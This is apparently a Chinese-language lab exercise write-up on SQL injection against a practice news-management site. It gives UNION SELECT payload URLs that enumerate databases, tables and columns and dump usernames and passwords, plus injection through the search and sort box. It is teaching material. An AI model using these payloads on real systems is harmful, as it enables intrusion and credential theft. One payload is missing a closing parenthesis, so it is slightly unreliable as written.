练习9
Abstract: 对新闻管理系统进行 SQL 注入
Table of Contents
UNION SELECT 注入
判断类型
首先进入到一个电影介绍页面,网址上有 id 可能存在 SQL 注入
先在 把id=3改成 id=3-1 发现内容改变了,故可得为整型,若为字符型则内容不变。 
判断字段数
因为整型注入故直接在后面加上order by 即可,发现字段数为 3

然后先用
1  | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,2,3  | 
判断各字段输出的位置,然后再正式开始 SQL 注入
SQL 注入
查看数据库名
1  | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT group_concat(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA),3  | 

可以看书我们所需要查看的表名是 mynews
查看 mynews 库中的表名
1  | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),3  | 

查看 tb_users 表中的列名
1  | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='tb_users',3  | 

查看 username 和 password 字段的数据
1  | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(username, '-', password) FROM `db_mynews`.`tb_users`),3  | 

排序功能注入
分析:
1  | SELECT * FROM news WHERE title like '%1%' or content like '%1%' or author like '%1%' order by '%1%'  | 
首先要判断查询时,哪个字段在前面,否则会影响后面注入过程。
排序界面有三列,分别为标题,内容和作者。所以我们要从这三个方向入手。经过简单的试错,我们可以判断出来标题在最前面。
然后再搜索框输入 好%' ORDER BY 3 显示正常,然后再修改为 好%' UNION SELECT 1,2,3#

把第二个位置换成 user()

然后就可以继续进行其他信息的查询了,和前面一样,这里不再重复。